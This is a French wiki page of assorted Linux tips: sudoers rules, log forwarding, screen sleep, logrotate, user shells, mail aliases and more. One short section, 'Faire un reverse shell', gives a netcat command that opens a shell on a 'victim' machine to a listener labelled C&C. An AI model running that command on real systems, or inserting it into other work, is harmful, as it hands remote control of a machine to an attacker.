Table des matières

Trucs & Astuces avec Linux

Changer l'éditeur par défaut (pour éditer les cron)

Source

select-editor

Corriger le problème d'un ordinateur qui ne veut pas s'éteindre

Ne s'éteint pas après le message Will shutdown now !

Editer le fichier /etc/default/grub, et adapter la ligne:

GRUB_CMDLINE_LINUX_DEFAULT="quiet reboot=pci"

Vérifier des checksums

Notamment de l'installation de Debian. Source

Télécharger une image de Debian, monter l'archive, se placer dans le dossier:

md5sum -c md5sum.txt 2> /dev/null | grep -v Réussi

Cette commande ne doit rien afficher.

Sudo

Ajouter un utilisateur aux sudoers

Source

sudo adduser <username> sudo

Il faut que le groupe sudo existe et que la ligne suivante existe bien dans le fichier (à changer avec la commande visudo).

/etc/sudoers
%sudo   ALL=(ALL:ALL) ALL

Exécuter une commande avec un autre utilisateur

sudo -u $user $command

Permettre de n'exécuter que certaines commandes

Source

Permettre à l'utilisateur student de lancer les commandes service mariadb start et service nginx start avec sudo, sans avoir besoin de saisir de mot de passe (éditer cette configuration avec la commande visudo) :

student ALL=(ALL) NOPASSWD:  /usr/sbin/service mariadb start,/usr/sbin/service nginx start

Lister tous les utilisateurs d'un système

Liste aussi les utilisateurs LDAP, par exemple.

getent passwd

Lister tous les membres appartenant à un groupe (source) :

getent group $group

Envoyer tous les logs vers une autre machine

/etc/rsyslog.conf
*.* @ip:port

Envoie tous les logs en UDP vers la machine spécifiée. Deux arobases envoie en TCP.

Relancer le service rsyslog.

Faire un reverse shell

Source Sur la victime:

nc -e /bin/sh 172.21.30.2 1026

Sur le C&C:

nc -l 1026

Ajouter le Terminal à un dock Docky

Source

Faire glisser l'icône du Terminal du dossier /usr/share/applications dans le dock.

Garder un processus actif après la déconnexion

nohup mon_programme > out.file &

Fenêtre de VLC dont les menus sont trop gros

Source

Créer le fichier /etc/profile.d/gnome-qt.sh avec le contenu suivant:

/etc/profile.d/gnome-qt.sh
export QT_AUTO_SCREEN_SCALE_FACTOR=0 

Fonctionne aussi avec le fichier /etc/environment:

/etc/environment
QT_AUTO_SCREEN_SCALE_FACTOR=0 

Démarrer un programme au lancement du système

xdg autostart

Source

/etc/xdg/autostart/myprogram.desktop
[Desktop Entry]
Name=foo
Terminal=false
Exec=/path/shell.sh
Type=Application
Icon=/path/icon.png
Categories=Utility;

Changer l'heure du système

sudo date -s "Dec 10 17:45:49"

Connaître la date de démarrage d'un processus

Source

ps -eo pid,lstart,cmd

Sinon ajouter la colonne qui va bien dans htop.

Arrêter et redémarrer sans sudo

Source

systemctl poweroff
systemctl reboot

Avoir un aperçu des caractéristiques de son PC

Avec le commande screenfetch, fourni par le paquet éponyme.

Éditer les éléments dans le Gnome Shell

Installer le paquet alacarte et utiliser l'application Menu principal.

Télécharger un torrent en ligne de commandes

Source

Installer le paquet transmission-cli.

transmission-cli <fichier torrent>

L'option -w permet de spécifier le dossier où sera sauvegardé le fichier téléchargé. Par défaut, c'est dans le dossier ~/Downloads.

Connaître les dépendances d'un binaire

Connaître les bibliothèques dynamiques directement liée (pas récursif):

readelf -d <binaire>

Connaître toutes les bibliothèques dynamiques:

ldd <binaire>

Voir https://github.com/ncopa/lddtree/blob/master/lddtree.sh pour un affichage récursif.

Splashscreen de démarrage

X11

Wayland ou X11 ?

Source

echo $XDG_SESSION_TYPE

Désactiver la mise en veille de l'écran

Source

Deux éléments peuvent gérer la mise en veille de l'écran : - l'environnement de bureau - le serveur X11

Pour connaître la configuration de X11 :

xset q

Pour désactiver la mise en veille :

xset s off

Il peut aussi être nécessaire de désactiver la gestion de l'énergie :

xset -dpms

Se débarrasser de tracker-miner

# Savoir si le tracker est actif:
tracker daemon -t
 
# Essayer de supprimer, si ça n'entraîne pas une cascade de suppressions...
sudo apt remove tracker tracker-extract tracker-miner-fs
 
# Sinon, juste désactiver les services (pas en root !):
systemctl --user mask tracker-store.service tracker-miner-fs.service tracker-miner-rss.service tracker-extract.service tracker-miner-apps.service tracker-writeback.service
 
# Supprimer la base de données d'indexation:
tracker reset --hard

Nemo

Changer le terminal

https://unix.stackexchange.com/questions/336368/how-to-configure-nemos-right-click-open-in-terminal-to-launch-gnome-terminal

gsettings set org.cinnamon.desktop.default-applications.terminal exec terminator

Explorer les périphériques MTP

Installer le paquet gvfs-backends.

Si avec gvfs-backends il n'est pas possible d'écrire, il est possible d'installer jmtpfs, puis monter le périphérique dans un dossier dédié :

jmtpfs /chemin/vers/le/dossier/de/montage

Changer la langue d'une commande

On peut connaître les langues disponibles avec la commande:

locale -a

Puis positionner la variable LANGUAGE:

LANGUAGE=en_US lscpu

Changer le shell d'un utilisateur

Si chsh ne fonctionne pas (source):

sudo usermod -s /bin/zsh philippe

Autocomplétion dans le terminal

Émettre un bip

Utiliser le programme beep, ou bien:

echo -ne '\007'

zRAM

Permet de réserver une partie de la RAM pour être utilisée comme swap.

Re-détecter les périphériques

Périphériques PCI

Notamment quand on rebranche un dock (source):

echo "1" | sudo tee /sys/bus/pci/rescan > /dev/null

Périphériques audio

Quand par exemple des enceintes branchées en jack sont mises sous tension après le démarrage de l'ordinateur (sous Pulseaudio, source) :

pacmd unload-module module-udev-detect && pacmd load-module module-udev-detect

Créer un utilisateur qui ne se connecte pas

Qui ne peut se connecter et qui n'a pas de dossier /home/ (Source) :

useradd -r -s /usr/sbin/nologin nfs-client

Logrotate

Créer les fichiers de configuration dans /etc/logrotate.d/ :

/data/rpi/logs/*.log {
        rotate 5
        compress
        size 1M
        missingok
        notifempty
        delaycompress
} 

Pour debugger, voir ce que logrotate ferait :

logrotate -d /etc/logrotate.d/rpi

L'option -f force la rotation, même si les conditions requises pour faire une rotation ne sont pas satisfaites.

umask

Comme commande shell, umask affiche le umask actuellement utilisé ; umask -S l'affiche avec des symboles plus explicites que la valeur octale. Si une valeur est donnée en paramètre, cette nouvelle valeur est utilisée comme masque.

Interprétation de la valeur : il s'agit des bits qui sont retirés à tous les bits activés pour obtenir le masque avec lequel les fichiers et dossiers vont être créés. Par exemple :

Alias mails

Le fichier /etc/aliases définit quels sont les alias mails des utilisateurs, et où il faut faire suivre les mails reçus sur ces aliases :

root: user,  abc@foo.bar

Tous les mails adressés à root seront transmis à l'utilisateur user et à l'adresse abc@foo.bar.

Après avoir modifié le fichier /etc/aliases, il faut lancer la commande newaliases (source).